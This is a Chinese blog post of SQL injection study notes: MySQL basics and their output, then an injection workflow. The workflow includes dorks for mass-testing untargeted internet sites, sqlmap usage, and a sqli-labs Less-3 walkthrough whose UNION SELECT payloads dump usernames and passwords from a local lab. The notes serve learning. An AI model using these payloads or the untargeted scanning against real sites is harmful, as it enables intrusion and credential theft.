sql注入漏洞笔记随笔

时间:2022-05-17 02:29:58

sql注入是从1998年出现的,是一个十分常见的漏洞,它是OWASP top10的第一名(注入)

在了解sql注入之前,我们需要先了解web框架

sql注入漏洞笔记随笔

webapp:web网站,这种方式它采用的是B/S架构

在这种方式下:web网站通过对数据库的操作来实现web网站的部分功能

       数据库和web网站在同一台服务器上

sql注入漏洞笔记随笔

因为现在有了大量的访问,请求和处理响应这些都需要web网站来实现

所以我们现在采用的架构是多个web网站分别在不同的web容器上,而每一个web容器又位于一个操作系统中,形成一个集群,而数据库又位于一个操作系统中

许多的web网站对数据库进行操作,实现web网站的功能

sql注入漏洞笔记随笔

web容器也就是web的中间件,通常是IIS、Apache、TomCat、Nginx

我们所常用的web语言是PHP,JSP,.net,这3种是最为常见的

web前端:我们所看见的前端界面

web应用:展示页面的样式,web应用是由web语句和web开发框架做好的一个网站(CMS/OA/Blog系统等)
web开发框架:静态PHP开发

web应用的访问与操作,在对数据库进行了一些交互,这就实现了web应用对数据库的流程

sql注入漏洞笔记随笔

以web网站的查看为例来理解是sql注入漏洞

查看,是我们查看一个界面的过程,页面对应的数据在数据库中,如果我们访问界面配置P=1,通过传入SQL语句,利用sql语句对数据库进行操作,在由数据库返回cat信息给web网站,它的结果显示在界面中

它是一个用户-数据的过程,也就是对数据库进行了一定的操作(我们需要将界面的配置信息带入sql语句中查询)

sql注入:如果我们在查询时的sql语句是select xxx  from xxx where flag = 1,如果这时我们在页面配置中写上一条 1= and select xxx from xxx语句

那么他会先执行select xxx  from xxx where flag = 1语句,在执行 1= and select xxx from xxx语句,这样就会出现sql注入漏洞

sql注入:语句注入到数据库查询中就会产生sql注入

通常在GET,POST,Cookie中会出现sql注入漏洞

sql注入背景介绍:

sql语言介绍:

SQL全称是“结构化查询语言( StructuredQueryLanguage )”, 最早是IBM的圣约瑟研究实验室为其关系数据库管理;系统SYSTEMR开发的一种查询语言,它的前身是SQUARE语言。SQL语言结构简洁,功能强大,简单易学,所以自从IBM公司1981年推出以来,SQL语言得到了广泛的应用。

结构化查询语言SQL是一种介于关系代数与关系演算之间的语言,其功能包括查询、操纵、定义和控制四个方面,是一个通用的功能极强的关系数据库标准语言。在SQL语言中不需要告诉SQL如何访问数据库,只要告诉SQL需要数据库做什么。

sql历史:最早是IBM的圣约瑟研究实验室为其关系数据库管理;系统SYSTEMR开发的一种查询语言,它的前身是SQUARE语言。SQL语言结构简洁,功能强大,简单易学,所以自从IBM公司1981年推出以来,SQL语言得到了广泛的应用。

sql功能:查询、操纵、定义和控制
sql是一个通用的功能极强的关系数据库标准语言

sql语言特点:不需要告诉SQL如何访问数据库,只要告诉SQL需要数据库做什么。

sql查询的过程相当与一个字典,如果要查询注的过程的话,z-zh-zhu-页面(页码)

2、sql注入产生原因

网络技术与信息技术高速发展,B/S模式具有界面统一, 使用简单,易于维护,扩展性好,共享度高等优点, B/S模式越来越多的被应用于程序编写中。

由于网络技术和信息技术的高速发展,计算机的高速发展,网络的快速发展,B/S模式(网站)的应用越来越多

传统的C/S架构,我们需要对终端进行维护,而B/S模式易于维护,一个网站一个人维护就可以了

B/S模式相比于C/S模式,扩展性好,B/S(加几个页面,底层应用,功能也就越来越多了),C/S扩展(升级,补丁,更新版本,很麻烦)

B/S模式共享度高(所有的终端都可以访问)

由于B/S建立在互联网之上,对安全的控制能力较弱,且开发人员的水平和经验参差不齐,相当一部分的程序员在编写代码时没有对用户的输入数据或者是页面中所携带的信息进行必要的合法性判断。攻击者利用这个机会提交一段数据库查询代码 ,根据程序返回的结果,就可以获得一些数据库信息。

sql注入的根本原因:没有对用户的输入数据或者是页面中所携带的信息进行必要的合法性判断。

3、sql注入核心原理:

SQL注入是一种将恶意的SQL代码插入或添加到应用(用户)的输入参数的攻击,攻击者探测出开发者编程过程中的漏洞,利用这些漏洞,巧妙的构造SQL语句,对数据库系统的内容进行直接检索或修改

4、sql注入原理:
sql注入漏洞笔记随笔

表示层:显示html界面

逻辑层:加载,编译,运行一些代码

应用层:底层开发程序,利用应用程序和业务逻辑与数据存储交互

存储层:就是数据库

5、sql注入的流程:

正常的流程:访问一个网页,逻辑层加载,编译并执行index.asp,应用层利用应用程序和业务逻辑与数据存储交互(生成sql查询语句),存储层执行这些sql查询语句,并返回结果到应用层,应用层对这些数据进行简单的处理,在提供给逻辑层,逻辑层会把这些数据放入html中,表示层会将这些html呈现出来。

sql注入流程:在访问一个网页的过程中加上一些东西会导致存储层返回的结果有问题,从而导致表示层与正确的html呈现的结果,有一些区别,而我们通过这些区别就可以对数据库进行操作

6、sql实例:

1、

sql注入漏洞笔记随笔

sql注入漏洞笔记随笔

 2、

sql注入漏洞笔记随笔

sql注入漏洞笔记随笔

 mysql常用函数:sql注入漏洞笔记随笔

sql注入漏洞笔记随笔

 实例:
mysql基础常用命令

mysql> select system_user() ;
+----------------+
| system_user() |
+----------------+
| root@localhost |
+----------------+
1 row in set

mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set

mysql> select current_user();
+----------------+
| current_user() |
+----------------+
| root@localhost |
+----------------+
1 row in set

mysql> select session_user();
+----------------+
| session_user() |
+----------------+
| root@localhost |
+----------------+
1 row in set

mysql> select database();
+------------+
| database() |
+------------+
| NULL |
+------------+
1 row in set

mysql> use abc;
Database changed
mysql> select database();
+------------+
| database() |
+------------+
| abc |
+------------+
1 row in set

mysql> select version();
+-----------+
| version() |
+-----------+
| 8.0.11 |
+-----------+
1 row in set

mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 8.0.11 |
+-----------+
1 row in set

mysql> select @@datadir;
+---------------------------------------------+
| @@datadir |
+---------------------------------------------+
| C:\ProgramData\MySQL\MySQL Server 8.0\Data\ |
+---------------------------------------------+
1 row in set

mysql> select @@basedir;
+------------------------------------------+
| @@basedir |
+------------------------------------------+
| C:\Program Files\MySQL\MySQL Server 8.0\ |
+------------------------------------------+
1 row in set

mysql> select @@version_compile_os;
+----------------------+
| @@version_compile_os |
+----------------------+
| Win64 |
+----------------------+
1 row in set

mysql> use xrz31;
Database changed
mysql> select count(*) from user;
+----------+
| count(*) |
+----------+
| 6 |
+----------+
1 row in set

mysql> select concat(1,2)
-> ;
+-------------+
| concat(1,2) |
+-------------+
| 12 |
+-------------+
1 row in set

mysql> select concat(uid,uname) from user;
+-------------------+
| concat(uid,uname) |
+-------------------+
| 1001何大姑 |
| 1002平平人生 |
| 1003四十不惑 |
| 1004桃花岛主 |
| 1005水灵 |
| 1006感动心灵 |
+-------------------+
6 rows in set

mysql> select concat_ws(':',uid,uname) from user;
+--------------------------+
| concat_ws(':',uid,uname) |
+--------------------------+
| 1001:何大姑 |
| 1002:平平人生 |
| 1003:四十不惑 |
| 1004:桃花岛主 |
| 1005:水灵 |
| 1006:感动心灵 |
+--------------------------+
6 rows in set

mysql> select concat_ws(0x7e,uid,uname) from user;
+---------------------------+
| concat_ws(0x7e,uid,uname) |
+---------------------------+
| 1001~何大姑 |
| 1002~平平人生 |
| 1003~四十不惑 |
| 1004~桃花岛主 |
| 1005~水灵 |
| 1006~感动心灵 |
+---------------------------+
6 rows in set

mysql> select uname from user;
+----------+
| uname |
+----------+
| 何大姑 |
| 平平人生 |
| 四十不惑 |
| 桃花岛主 |
| 水灵 |
| 感动心灵 |
+----------+
6 rows in set

mysql> select group_concat(uname) from user;
+-------------------------------------------------+
| group_concat(uname) |
+-------------------------------------------------+
| 何大姑,平平人生,四十不惑,桃花岛主,水灵,感动心灵 |
+-------------------------------------------------+
1 row in set

mysql> select 'mysql' into outfile '/tmp/mysql';

mysql> select ascii('a');
+------------+
| ascii('a') |
+------------+
| 97 |
+------------+
1 row in set

mysql> select ord('bc');
+-----------+
| ord('bc') |
+-----------+
| 98 |
+-----------+
1 row in set

mysql> select mid('mysql',1,1);
+------------------+
| mid('mysql',1,1) |
+------------------+
| m |
+------------------+
1 row in set

mysql> #select mid('mysql',1,1) 3个参数,内容,起始位置,长度
-> select mid('mysql',2,2) ;
+----+
| ; |
+----+
| ys |
+----+
1 row in set

mysql> select substr('mysql',2,2);
+---------------------+
| substr('mysql',2,2) |
+---------------------+
| ys |
+---------------------+
1 row in set

mysql> select length('mysql');
+-----------------+
| length('mysql') |
+-----------------+
| 5 |
+-----------------+
1 row in set

mysql> select left('mysql',2);
+-----------------+
| left('mysql',2) |
+-----------------+
| my |
+-----------------+
1 row in set

mysql> select rand();
+--------------------+
| rand() |
+--------------------+
| 0.7642785420308621 |
+--------------------+
1 row in set

mysql> select sleep(2);
+----------+
| sleep(2) |
+----------+
| 0 |
+----------+
1 row in set

mysql> select if(1>2,2,3);
+-------------+
| if(1>2,2,3) |
+-------------+
| 3 |
+-------------+
1 row in set

mysql> # select if(1>2,2,3); 3个参数,如果返回的表达式的值为假,那么返回第3个参数的值,如果返回的表达式的值为真,那么返回第2个参数的值,3个参数分别是表达式和另外2个值
-> select if(1<2,2,3);
+-------------+
| if(1<2,2,3) |
+-------------+
| 2 |
+-------------+
1 row in set

mysql> select char(97);
+----------+
| char(97) |
+----------+
| a |
+----------+
1 row in set

mysql> select strcmp('a','a');
+-----------------+
| strcmp('a','a') |
+-----------------+
| 0 |
+-----------------+
1 row in set

mysql> select strcmp('a','b');
+-----------------+
| strcmp('a','b') |
+-----------------+
| -1 |
+-----------------+
1 row in set

mysql> select strcmp('b','c');
+-----------------+
| strcmp('b','c') |
+-----------------+
| -1 |
+-----------------+
1 row in set

mysql> select strcmp('c','b');
+-----------------+
| strcmp('c','b') |
+-----------------+
| 1 |
+-----------------+
1 row in set

mysql> select strcmp('b','a');
+-----------------+
| strcmp('b','a') |
+-----------------+
| 1 |
+-----------------+
1 row in set

mysql> select ifnull(1,2);
+-------------+
| ifnull(1,2) |
+-------------+
| 1 |
+-------------+
1 row in set

mysql> select ifnull(null,2);
+----------------+
| ifnull(null,2) |
+----------------+
| 2 |
+----------------+
1 row in set

mysql> select ifnull(1/0,2);
+---------------+
| ifnull(1/0,2) |
+---------------+
| 2 |
+---------------+
1 row in set

mysql> select exp(1);
+-------------------+
| exp(1) |
+-------------------+
| 2.718281828459045 |
+-------------------+
1 row in set

mysql> select exp(2);
+------------------+
| exp(2) |
+------------------+
| 7.38905609893065 |
+------------------+
1 row in set

创建数据库
mysql> create database wjmfwkj;
Query OK, 1 row affected

查看数据库
mysql> show create database wjmfwkj;
+----------+------------------------------------------------------------------------------------------------+
| Database | Create Database |
+----------+------------------------------------------------------------------------------------------------+
| wjmfwkj | CREATE DATABASE `wjmfwkj` /*!40100 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci */ |
+----------+------------------------------------------------------------------------------------------------+
1 row in set

修改数据库:
mysql> alter database wjmfwj;
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

查看所有的库
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| abc |
| abcdef |
| bookonline |
| bookonline11 |
| information_schema |
| mydb |
| mysql |
| performance_schema |
| product_sale |
| sakila |
| stuchoose |
| studentsdb |
| sys |
| test |
| wjm |
| wjmfw |
| wjmfwkj |
| world |
| xrz |
| xrz31 |
| xrzfwj; |
| xxxx |
+--------------------+
22 rows in set

删除数据库
mysql> drop database wjmfwkj;
Query OK, 0 rows affected

创建数据库不报错
mysql> create database if not exists wjmm;
Query OK, 1 row affected

删除数据库不报错
mysql> drop database if exists wjmm;
Query OK, 0 rows affected

使用数据库
mysql> use sys;
Database changed

创建视图:
mysql> create view kaoshifuxi as select sales.id,sid,pname from product join sales on product.id=sales.id;
Query OK, 0 rows affected

查询视图1:(历史记录)
mysql> show create view kaoshifuxi;
+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+----------------------+
| View | Create View | character_set_client | collation_connection |
+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+----------------------+
| kaoshifuxi | CREATE ALGORITHM=UNDEFINED DEFINER=`root`@`localhost` SQL SECURITY DEFINER VIEW `kaoshifuxi` AS select `sales`.`id` AS `id`,`sales`.`sid` AS `sid`,`product`.`pname` AS `pname` from (`product` join `sales` on((`product`.`id` = `sales`.`id`))) | utf8 | utf8_general_ci |
+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+----------------------+
1 row in set

查看视图2:(表结构)
mysql> desc kaoshifuxi;
+-------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| id | int(11) | NO | | NULL | |
| sid | int(11) | NO | | NULL | |
| pname | varchar(50) | YES | | NULL | |
+-------+-------------+------+-----+---------+-------+
3 rows in set

查看视图中的数据
mysql> select * from kaoshifuxi;
Empty set

更新视图中的数据
mysql> update kaoshifuxi set sid=1;
Query OK, 0 rows affected
Rows matched: 0 Changed: 0 Warnings: 0

mysql> select * from kaoshifuxi;
Empty set

修改视图中的数据
mysql> create or replace view kaoshifuxi as select * from product;
Query OK, 0 rows affected

mysql> desc product;
+----------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+-------+
| id | int(11) | NO | PRI | NULL | |
| pname | varchar(50) | YES | | NULL | |
| price | int(11) | YES | | NULL | |
| storenum | varchar(50) | YES | | NULL | |
+----------+-------------+------+-----+---------+-------+
4 rows in set

修改视图中的数据方法1:
mysql> create or replace view kaoshifuxi as select * from sales;
Query OK, 0 rows affected

mysql> desc kaoshifuxi;
+-------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| sid | int(11) | NO | | NULL | |
| id | int(11) | NO | | NULL | |
| sunm | varchar(50) | YES | | 0 | |
| sdate | varchar(50) | NO | | NULL | |
+-------+-------------+------+-----+---------+-------+
4 rows in set

修改视图中的数据方法2:
mysql> alter view kaoshifuxi as select * from product;
Query OK, 0 rows affected

mysql> desc kaoshifuxi;
+----------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+-------+
| id | int(11) | NO | | NULL | |
| pname | varchar(50) | YES | | NULL | |
| price | int(11) | YES | | NULL | |
| storenum | varchar(50) | YES | | NULL | |
+----------+-------------+------+-----+---------+-------+
4 rows in set

删除视图:
mysql> drop view kaoshifuxi;
Query OK, 0 rows affected

数据表使用前提:使用数据库
mysql> use xxxx;
Database changed
创建表:
mysql> create table TTT(
-> id int primary key,
-> name varchar(10) not null,
-> age int default 18,
-> birth date unique,
-> class char(4)
-> );
Query OK, 0 rows affected

mysql> create table bbb(
-> class char(4) primary key
-> );
Query OK, 0 rows affected

mysql> create table TTT(
-> id decimal(3,2) 定点数
-> );
Query OK, 0 rows affected

删除主键:
mysql> alter table TTT drop primary key;
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0

添加主键:
mysql> alter table TTT modify id int primary key; #添加符合主键:mysql>alter table XXX modify primary key(bid,uid)
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0

添加外键
mysql> alter table TTT add constraint wjmqwer foreign key(class) references bbb(class);
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0

删除外键
mysql> alter table TTT drop foreign key wjmqwer;
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0

将非空条件改为空
mysql> alter table TTT modify name varchar(10) null;
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0

改为非空条件
mysql> alter table TTT modify name varchar(10) not null;
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0

删除唯一条件
mysql> alter table TTT drop index birth;
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0

添加唯一条件
mysql> alter table TTT add unique(birth);
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0

删除默认提交
mysql> alter table TTT modify age int unsigned;
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0

添加默认条件
mysql> alter table TTT modify age int unsigned default 18;
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0

查看数据表
查看方法1:
mysql> desc TTT;
+-------+------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------------------+------+-----+---------+-------+
| id | int(11) | NO | PRI | NULL | |
| name | varchar(10) | NO | | NULL | |
| age | int(10) unsigned | YES | | 18 | |
| birth | date | YES | UNI | NULL | |
| class | char(4) | YES | MUL | NULL | |
+-------+------------------+------+-----+---------+-------+
5 rows in set

查看方法2:
mysql> show create table TTT;
+-------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Table | Create Table |
+-------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| TTT | CREATE TABLE `ttt` (
`id` int(11) NOT NULL,
`name` varchar(10) NOT NULL,
`age` int(10) unsigned DEFAULT '18',
`birth` date DEFAULT NULL,
`class` char(4) DEFAULT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `birth` (`birth`),
KEY `wjmqwer` (`class`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci |
+-------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set

删除数据表
mysql> drop table TTT;
Query OK, 0 rows affected

数据插入:insert into TTT table ()

数据更新:update table TTT set XXXX='XXXX' where xxxx

删除数据:delete from TTT
delete from TTT where xxxx

简单查询:where条件: select * from user where score<500;(=、 >、<、 >=、<=、!=、<>)
mysql> select * from user where uid='1001' and uid='1002';(A and B)
mysql> select * from user where uid='1001' or uid='1002';(A and B)
mysql> select * from user where uname like '何%';(like模糊查询)
mysql> select uname,tnum from user where email is null;(空值查询)
mysql> select uname,tnum from user where email is not null;(非空值查询)
mysql>select * from book where price between 20 and 30; 与select * from book where price>=20 and price<=30;一样(between 20到30之间)
(查多个) mysql> select uname from user where uid in('1001','1003','1004','1006'); 与 mysql> select uname from user where (uid=1001 or uid=1003 or uid=1004 or uid=1006); 一样

排序:select * from TTT order by xxx desc/asc

函数:sum( )/count( )/avg( )/min( )/max( )

限量: limit 3 limit 1,3

分组: select * from TTT group by ............having...................

内连接: select * from a,b where a.no=b,no
select * from a join b on a.no=b.no

外连接:select * from a left join b on a.no=b.no
select * from a right join b on a.no=b.no

有图书无销量 from 的表是不动的,join的表是变化的 select * from 图书 left join 销量 on 图书.no=销量.no 有什么东西就是不动的,无什么东西就是变化的

mysql> select * from book k left join b_order b on k.bid = b.bid;
+-----+----------------+--------+------+----------------+---------+-----+------+------+----------+-------------------+------------+
| bid | bname | author | price | pbulisher | discount | cid | bid | uid | ordernum | orderdate | deliverydate |
+-----+----------------+--------+------+----------------+---------+-----+------+------+----------+-------------------+------------+
| 1 | 中国时代 | 师永刚 | 39 | 作家出版社 | 27.8 | 1 | 1 | 1001 | 2 | 2016-03-12 00:00:00 | NULL |
| 1 | 中国时代 | 师永刚 | 39 | 作家出版社 | 27.8 | 1 | 1 | 1001 | 1 | 2016-09-15 00:00:00 | NULL |
| 1 | 中国时代 | 师永刚 | 39 | 作家出版社 | 27.8 | 1 | 1 | 1006 | 2 | 2016-10-21 00:00:00 | NULL |
| 2 | 中国历史的屈辱 | 王重旭 | 26 | 华夏出版社 | 18.2 | 2 | NULL | NULL | NULL | NULL | NULL |
| 3 | 择业要趁早 | 海文 | 28 | 海天出版社 | 19.3 | 3 | 3 | 1001 | 1 | 2016-04-15 00:00:00 | NULL |
| 3 | 择业要趁早 | 海文 | 28 | 海天出版社 | 19.3 | 3 | 3 | 1003 | 1 | 2016-10-10 00:00:00 | NULL |
| 4 | 房间 | 爱玛 | 37.6 | 人民文学出版社 | 26.3 | 4 | NULL | NULL | NULL | NULL | NULL |
| 5 | 平凡的世界 | 路遥 | 75 | 北京出版社 | 63.75 | 4 | 5 | 1005 | 1 | 2015-08-17 00:00:00 | NULL |
| 5 | 平凡的世界 | 路遥 | 75 | 北京出版社 | 63.75 | 4 | 5 | 1006 | 1 | 2016-09-18 00:00:00 | NULL |
| 6 | 心灵鸡汤 | 关然 | 27 | 大豫出版社 | 20 | 3 | NULL | NULL | NULL | NULL | NULL |
| 7 | 蜕 | 赵婷 | 32 | 上海出版社 | 28.5 | 3 | 7 | 1003 | 1 | 2015-12-14 00:00:00 | NULL |
| 7 | 蜕 | 赵婷 | 32 | 上海出版社 | 28.5 | 3 | 7 | 1005 | 3 | 2016-11-12 00:00:00 | NULL |
| 7 | 蜕 | 赵婷 | 32 | 上海出版社 | 28.5 | 3 | 7 | 1006 | 2 | 2015-11-21 00:00:00 | NULL |
+-----+----------------+--------+------+----------------+---------+-----+------+------+----------+-------------------+------------+
13 rows in set

mysql> select bname from book k left join b_order b on k.bid = b.bid where ordernum is null;
+----------------+
| bname |
+----------------+
| 中国历史的屈辱 |
| 房间 |
| 心灵鸡汤 |
+----------------+
3 rows in set

子查询:mysql> select * from 借阅 where 读者号=(select 读者号 from 读者 where 姓名='李红'); 【=,>,<】
=连接select 子查询,可以替换为内连接查询

mysql> select 图书号,借期,还期 from 借阅 where 读者号 in(select 读者号 from 读者 where 姓名 like '王%');
in 适用于子查询结果集有多行记录,等同内连接方式

mysql> select sname from studentinfo where sno=any(select sno from elective where score<60);
ANY谓词:在子查询前面使用ANY谓词时,会使用指定的比较运算符将一个表达式的值或列值与子查询返回值中的每一个进行比较,只要有一次比较的结果为TRUE,则整个表达式的值为TRUE,否则为FALSE
题目:查询学生选课数据库,输出需要补考的学生姓名

mysql> select sname from studentinfo where sno!=all(select sno from elective where score<60);
比较运算符将一个表达式的值或列值与子查询返回值中的每一个进行比较,只有所有比较的结果为TRUE,整个表达式的值为TRUE,否则为FALSE。
题目:查询学生选课数据库,输出不需要补考的学生姓名

mysql> select tname,tpro from teacher where not exists(select * from teacher where tpro='教授'); exists 看是否存在
查看teacher表,若是不存在具有教授职称的教师,则显示所有教师的姓名和职称。
1找职称 教授
select tpro from teacher where tpro='教授'; -----?没有结果
2 没有教授 列出
select 姓名,职称 from teacher
where not exists(?);

 mysql运算符:

sql注入漏洞笔记随笔

sql注入流程:
1、寻找sql注入点:

1.1、目标搜集

1.1.1、无特定目标:

对互联网上的无特定目标的地址进行目标搜集,是是否存在sql注入漏洞,进行一个sql注入测试

inurl:php?id=,使用这种语法对网络上的全部目标进行一个搜集,然后一一测试

sql注入漏洞笔记随笔

sql注入漏洞笔记随笔

sql注入漏洞笔记随笔

1.1.2、有特点目标:

inurl:.php?id= site:target.com

搜索出来site.target.com域名下包含所有链接(:.php?id)的地址

.php?id,表示对数据库操作,返回出一些数据库中的结果,可以灵活的对其进行改变(JSP,uid)

1.1.3、工具爬取:

spider ,对搜索引擎和目标网站的链接进行爬取,识别出所有的动态页面,所有的可以对数据库进行操作的页面,进行一个注入的测试

2、注入识别:
2.1、手工简单识别:

加一个‘

and 1=1 / and 1=2
and '1'='1  / and '1'='2
and1like 1 /and 1 like 2

2.2、工具识别

sqImap -m filename (filename中保存检测目标)
sqlmap --crawl (sqImap对目标网站进行爬取,然后依次进行测试)

使用sqlmap(sql注入神器)与spider工具结合使用(获取目标的地址),他们结合使用,可以大范围的对特定目标进行注入识别

2.3、高级搜索:

2.3.1、扩展识别广度和深度:
    Sq|Map --level增加测试级别,对header中相关参数也进行测试
    sqlmap -r filename (filename中为网站请求数据)
2.3.2、利用工具提高识别效率:
    BurpSuite + SqlMap
    BurpSuite拦截所有浏览器访问提交的数据
    BurpSuite扩展插件,直接调用Sq|Map进行测试
2.3.3、一些Tips:(技巧)
    可以在参数后键入“**来确定想要测试的参数
    可能出现注入的点:新闻、登录、搜索、留言
    站在开发的角度去寻找

2.3.4、代码审计:
    搜索关键代码和函数
    梳理业务流程

3、sql注入流程:

3.1、信息收集

sql注入漏洞笔记随笔

3.2、获取数据:
sql注入漏洞笔记随笔

3.3、权限提升

sql注入漏洞笔记随笔

mysql数据结构:

sql注入漏洞笔记随笔

存储引擎层:规定了数据的存取,数据存储的方式和格式,用于管理数据存储

SQL层:通过特定语法完成SQL数据库任务的执行,并且将执行的结果进行处理,返回人们能识别的信息
连接层:通信协议:数据库如何与外部应用程序进行通信

    线程:连接数量的管理,数据库会连接多个应用程序,所以我们进行了多线程的管理
    验证:验证的内容是用户输入的用户名和密码

SQL层详解:

sql:结构化查询语句,数据库定义,控制,操作,查询的语言

sql注入漏洞笔记随笔

SQL层的功能:

    1、判断语法。语句、语义
    2.、数据库对象授权情况判断,授权失败不继续
    3.、解析(解析器) :将sq|语句解析成执行计划,运行执行计划,生成找数据的方式
    4.、优化(优化器) :运行执行计划,基于算法,从执行计划中选择代价最小的交给”执行器“
    5.、执行(执行器) :运行执行计划,最终生产如何去磁盘找数据方式

    6、将取数据的方式,交由下层(存储引擎层)进行处理
    7、最终将取出的数据抽象成管理员或用户能懂的方式(表) ,展现在用户面前
    8、查询缓存:缓存之前查询的数据

数据从查询到展示的过程:

将SQL语句解析成执行计划,运行执行计划,生成找数据的方式,:运行执行计划,基于算法,从执行计划中选择代价最小的交给”执行器“,运行执行计划,最终生产如何去磁盘找数据方式,将取数据的方式,交由下层(存储引擎层)进行处理,最终将取出的数据抽象成管理员或用户能懂的方式(表) ,展现在用户面前

mysql数据库结构:

库,,列,库 > 表 > 列

mysql内置库:

sql注入漏洞笔记随笔

mysql:保存有账户信息,权限信息,存储过程,event,时区等信息。

sys:包含了一系列的存储过程、自定义函数以及视图来帮助我们快速的了解系统的元数据信息。

(元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等)

performance_ schema:用于收集数据库服务器性能参数

information_ schema:它提供了访问数据库元数据的方式。

其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表的数据类型与访问权限等。

注:元数据:数据库数据的信息

sql手工注入:

1、核心原理:

MySq|内置的information. schema库,它功能强大,是我们进行MySq|注入的基石!

通过information_ schema我们可以窥透整个MySQL的运行情况,也可以查到数据库中所有的数据信息。

2、核心语法:

查库:select schema_name from information_schema.schemata

查表:select table_name from information_schema.tables where table_ schema=库名

查列:select column_name from information_schema.columns where table_name=表名

查数据:select 列名 from 库名 .表名

3、实例:

sqli-labs第3题:

1、正常显示:http://127.0.0.1/sqli/Less-3/?id=1
sql注入漏洞笔记随笔

2、检验:

构造id=1‘发现错误,查询后发现应该是1‘)--+’’

http://127.0.0.1/sqli/Less-3/?id=1%27)--+

sql注入漏洞笔记随笔

sql注入漏洞笔记随笔

3、观察页面返回,选取可以显示数据的位置,进行下一步的注入

http://127.0.0.1/sqli/Less-3/?id=1%27)%20union%20select%201,2,3--+

?id=' union select 1,2,3--+

sql注入漏洞笔记随笔

4、当前库的信息:

http://127.0.0.1/sqli/Less-3/?id=-1%27)%20union%20select%201,2,(select%20database())--+

?id=' union select 1,2,(select database())--+

sql注入漏洞笔记随笔

5、读表信息:

http://127.0.0.1/sqli/Less-3/?id=-1%27)%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)--+

?id=' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

sql注入漏洞笔记随笔

6、读字段名:

http://127.0.0.1/sqli/Less-3/?id=-1%27)%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)--+

?id=' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+

sql注入漏洞笔记随笔

7、读数据:

http://127.0.0.1/sqli/Less-3/?id=-1%27)%20union%20select%201,2,%20(select%20group_concat(concat_ws(%27:%27,id,username,password))%20from%20users)--+

union select 1,2, (select group_concat(concat_ws(':',id,username,password)) from users)

sql注入漏洞笔记随笔

4、sql注入提示:
提示1:所有类型的sq|注入,都是基于查库、表、列语句

提示2:

如果数据太多,导致无法返回查询结果:
查询的场景:可利用limit限定返回的数量及位置,依次查询
回显数据的场景: *concat*链接多个数据成为一条返回结果

提示3:在一些场景,想要快速获取数据,需借助工具,如: BurpSuite

5、sql注入流程:

sql注入漏洞笔记随笔

6、信息收集,提取(读写文件)

补充:

1、数据库概述:

数据库(DB) :相关数据的集合

数据库管理系统(DBMS) :一种操纵和管理数据库的大型软件,用于建立、使用和维护数据库。

数据库系统(DataBase System,DBS),通常由软件、数据库(DB) 和数据库管理员组成。

数据库(DB)由数据库管理系统(DBMS)统一管理,数据的插入、修改和检索均要通过数据库管理系统(DBMS)进行。数据库管理员负责创建、监控和维护整个数据库,使数据能被任何有权使用的人有效使用。

2、数据库分类:关系型数据库和非关系型数据库

关系型数据库。通过SQL结构化查询语句存储数据,保持数据一致性,遵循ACID理论。

关系型数据库的典型产品: Oracle 、Microsoft SQL Server 、MySQL 、PostgreSQL、IBM DB2、Access等。

非关系型数据库也被成为NOSQL数据库,是作为传统关系型数据库.的一个有效补充。NOSQL数据库在特定的场景下可以发挥出难以想象的高效率和高性能。

非关系型数据库的典型产品: Memcached、 Redis、 mongoDB等。

3、识别数据库方法

盲跟踪

  1、Web应 用技术

  2、不同数据库SQL语句差异

非盲跟踪

   报错、直接查询

4、常见数据库的端口号:
  Oracle: 1521

  MySQL: 3306

  SQL Server: 1433

  PostgreSQL: 5432  

  MongoDB: 27017

  Redis: 6379

  MemcacheDB: 11211

5、各数据库的版本查询方法区别

MSSQL              select @ @version

MySQL              select version( )/ select @ @version

Oracle               select banner from $version

PostgreSQL      select version( )

6、常见数据库通常都跟什么后端语言搭配?

ASP和.NET: Microsoft SQL Server

PHP: MySQL、 PostgreSQL

Java: Oracle、 MySQL

7、用于与关系型数据库交互的标准SQL命令有

